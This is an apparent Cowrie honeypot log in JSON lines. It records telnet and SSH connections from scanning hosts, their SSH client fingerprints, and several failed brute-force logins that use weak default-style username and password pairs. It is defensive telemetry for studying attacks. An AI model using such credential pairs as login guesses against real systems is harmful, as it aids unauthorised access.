{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63411b7c367","protocol":"telnet","message":"New connection: 64.227.101.30:42158 (10.17.0.5:23) [session: e63411b7c367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:01.323249Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":38380,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f26cb081f20","protocol":"telnet","message":"New connection: 68.183.198.12:38380 (159.203.135.109:23) [session: 8f26cb081f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:01.537538Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43382,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f113e73e12d","protocol":"telnet","message":"New connection: 64.227.101.30:43382 (10.17.0.5:23) [session: 0f113e73e12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:01.907320Z"}
{"eventid":"cowrie.session.closed","duration":120.0017614364624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:02.386793Z","src_ip":"68.183.198.12","session":"5bb0463a47f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.45731019973755,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:04.785793Z","src_ip":"64.227.101.30","session":"4eafb5d10aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37876,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25b424cffcc","protocol":"telnet","message":"New connection: 161.97.105.174:37876 (159.203.135.109:23) [session: e25b424cffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:07.807477Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38474,"dst_ip":"159.203.135.109","dst_port":23,"session":"671725f5a3c2","protocol":"telnet","message":"New connection: 161.97.105.174:38474 (159.203.135.109:23) [session: 671725f5a3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:13.143358Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48142,"dst_ip":"10.17.0.5","dst_port":23,"session":"82784519550b","protocol":"telnet","message":"New connection: 64.227.101.30:48142 (10.17.0.5:23) [session: 82784519550b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:13.187467Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45800,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f774919d17","protocol":"telnet","message":"New connection: 64.227.101.30:45800 (10.17.0.5:23) [session: 42f774919d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:15.627057Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98a572ad04e","protocol":"telnet","message":"New connection: 161.97.105.174:38478 (159.203.135.109:23) [session: b98a572ad04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:16.331308Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":36658,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e991198e91","protocol":"ssh","message":"New connection: 103.170.173.26:36658 (10.17.0.5:22) [session: 39e991198e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:17.151958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:17.157363Z","src_ip":"103.170.173.26","session":"39e991198e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:17.420961Z","src_ip":"103.170.173.26","session":"39e991198e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.539886474609375,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:18.159207Z","src_ip":"64.227.101.30","session":"5bff373b93a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"p4ssw0rd","message":"login attempt [deploy/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:18.506918Z","src_ip":"103.170.173.26","session":"39e991198e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.18889403343201,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:18.667467Z","src_ip":"68.183.198.12","session":"125016f8053e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.81749773025513,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:19.268308Z","src_ip":"68.183.198.12","session":"63598e19c859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:19.776970Z","src_ip":"103.170.173.26","session":"39e991198e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41940,"dst_ip":"159.203.135.109","dst_port":23,"session":"5291965da4ba","protocol":"telnet","message":"New connection: 68.183.198.12:41940 (159.203.135.109:23) [session: 5291965da4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:22.189790Z"}
{"eventid":"cowrie.session.closed","duration":45.07924771308899,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:23.401761Z","src_ip":"68.183.198.12","session":"140e01e995ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52670,"dst_ip":"10.17.0.5","dst_port":23,"session":"13bf5eb947e3","protocol":"telnet","message":"New connection: 64.227.101.30:52670 (10.17.0.5:23) [session: 13bf5eb947e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:23.947062Z"}
{"eventid":"cowrie.session.closed","duration":41.26683044433594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:24.105944Z","src_ip":"64.227.101.30","session":"7614de69c73e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54188,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a5a4f97a9e","protocol":"telnet","message":"New connection: 64.227.101.30:54188 (10.17.0.5:23) [session: 09a5a4f97a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:24.751295Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44806,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8cc8deb94d","protocol":"telnet","message":"New connection: 161.97.105.174:44806 (159.203.135.109:23) [session: ce8cc8deb94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:25.318632Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1baa93ca818b","protocol":"telnet","message":"New connection: 64.227.101.30:55468 (10.17.0.5:23) [session: 1baa93ca818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:26.133495Z"}
{"eventid":"cowrie.session.closed","duration":4.582700252532959,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:28.529643Z","src_ip":"64.227.101.30","session":"13bf5eb947e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54738,"dst_ip":"10.17.0.5","dst_port":23,"session":"6538b700e08b","protocol":"telnet","message":"New connection: 64.227.101.30:54738 (10.17.0.5:23) [session: 6538b700e08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:28.803542Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd725be78694","protocol":"telnet","message":"New connection: 68.183.198.12:43262 (159.203.135.109:23) [session: bd725be78694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:30.287433Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"43a0d83f246f","protocol":"telnet","message":"New connection: 64.227.101.30:58476 (10.17.0.5:23) [session: 43a0d83f246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:31.598201Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56906,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f5a4a36a82","protocol":"telnet","message":"New connection: 64.227.101.30:56906 (10.17.0.5:23) [session: c4f5a4a36a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:31.751376Z"}
{"eventid":"cowrie.session.closed","duration":34.03996515274048,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:34.294368Z","src_ip":"161.97.105.174","session":"af99669d6ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":25255,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b3b333a4ba8","protocol":"ssh","message":"New connection: 220.247.224.226:25255 (159.203.135.109:22) [session: 2b3b333a4ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.367972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.372982Z","src_ip":"220.247.224.226","session":"2b3b333a4ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":34690,"dst_ip":"10.17.0.5","dst_port":22,"session":"6832aa7381fb","protocol":"ssh","message":"New connection: 209.99.189.174:34690 (10.17.0.5:22) [session: 6832aa7381fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.509911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.518790Z","src_ip":"209.99.189.174","session":"6832aa7381fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.593216Z","src_ip":"220.247.224.226","session":"2b3b333a4ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:35.645274Z","src_ip":"209.99.189.174","session":"6832aa7381fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y","message":"login attempt [deploy/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:36.186508Z","src_ip":"209.99.189.174","session":"6832aa7381fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2018","message":"login attempt [ubuntu/ubuntu@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:36.511867Z","src_ip":"220.247.224.226","session":"2b3b333a4ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:37.319257Z","src_ip":"209.99.189.174","session":"6832aa7381fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:37.733020Z","src_ip":"220.247.224.226","session":"2b3b333a4ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33974,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a0d0264a77","protocol":"telnet","message":"New connection: 64.227.101.30:33974 (10.17.0.5:23) [session: b8a0d0264a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:38.124425Z"}
{"eventid":"cowrie.session.closed","duration":38.38317894935608,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:40.290382Z","src_ip":"64.227.101.30","session":"0f113e73e12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.259392976760864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:41.582520Z","src_ip":"64.227.101.30","session":"e63411b7c367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35768,"dst_ip":"10.17.0.5","dst_port":23,"session":"677e0f0d4d0d","protocol":"telnet","message":"New connection: 64.227.101.30:35768 (10.17.0.5:23) [session: 677e0f0d4d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:42.172862Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44372,"dst_ip":"159.203.135.109","dst_port":23,"session":"850fb9eb2f86","protocol":"telnet","message":"New connection: 68.183.198.12:44372 (159.203.135.109:23) [session: 850fb9eb2f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:44.641650Z"}
{"eventid":"cowrie.session.closed","duration":44.10451817512512,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:45.641867Z","src_ip":"68.183.198.12","session":"8f26cb081f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.24684953689575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:46.054203Z","src_ip":"161.97.105.174","session":"e25b424cffcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0467689037323,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:46.688293Z","src_ip":"68.183.198.12","session":"850fb9eb2f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41123366355896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:48.554463Z","src_ip":"161.97.105.174","session":"671725f5a3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b48e5c94763","protocol":"telnet","message":"New connection: 64.227.101.30:40266 (10.17.0.5:23) [session: 9b48e5c94763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:50.219538Z"}
{"eventid":"cowrie.session.closed","duration":39.19020652770996,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:52.377568Z","src_ip":"64.227.101.30","session":"82784519550b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.11132860183716,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:53.738257Z","src_ip":"64.227.101.30","session":"42f774919d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"318a8fa06061","protocol":"telnet","message":"New connection: 64.227.101.30:39378 (10.17.0.5:23) [session: 318a8fa06061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:54.781265Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0193800e509b","protocol":"telnet","message":"New connection: 64.227.101.30:38052 (10.17.0.5:23) [session: 0193800e509b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:55.435304Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47104,"dst_ip":"159.203.135.109","dst_port":23,"session":"e150a4088b49","protocol":"telnet","message":"New connection: 68.183.198.12:47104 (159.203.135.109:23) [session: e150a4088b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:56.515861Z"}
{"eventid":"cowrie.session.closed","duration":31.226407766342163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:56.544939Z","src_ip":"161.97.105.174","session":"ce8cc8deb94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.3575286865234375,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:59.792715Z","src_ip":"64.227.101.30","session":"0193800e509b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae2d682f496a","protocol":"telnet","message":"New connection: 161.97.105.174:42876 (159.203.135.109:23) [session: ae2d682f496a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:59.829073Z"}
{"eventid":"cowrie.session.closed","duration":43.79544734954834,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:00.126646Z","src_ip":"161.97.105.174","session":"b98a572ad04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47694,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a59ac5b57a7","protocol":"telnet","message":"New connection: 68.183.198.12:47694 (159.203.135.109:23) [session: 1a59ac5b57a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:00.374632Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46638,"dst_ip":"10.17.0.5","dst_port":23,"session":"114da6b13ac5","protocol":"telnet","message":"New connection: 64.227.101.30:46638 (10.17.0.5:23) [session: 114da6b13ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:01.496640Z"}
{"eventid":"cowrie.session.closed","duration":40.43936371803284,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:02.629020Z","src_ip":"68.183.198.12","session":"5291965da4ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48170,"dst_ip":"159.203.135.109","dst_port":23,"session":"9996cf3d5676","protocol":"telnet","message":"New connection: 68.183.198.12:48170 (159.203.135.109:23) [session: 9996cf3d5676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:03.408074Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f294a2cd3be","protocol":"telnet","message":"New connection: 64.227.101.30:48666 (10.17.0.5:23) [session: 4f294a2cd3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:07.051123Z"}
{"eventid":"cowrie.session.closed","duration":38.60487389564514,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:07.408307Z","src_ip":"64.227.101.30","session":"6538b700e08b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48994,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f3cf8da9aba","protocol":"telnet","message":"New connection: 68.183.198.12:48994 (159.203.135.109:23) [session: 0f3cf8da9aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:08.580824Z"}
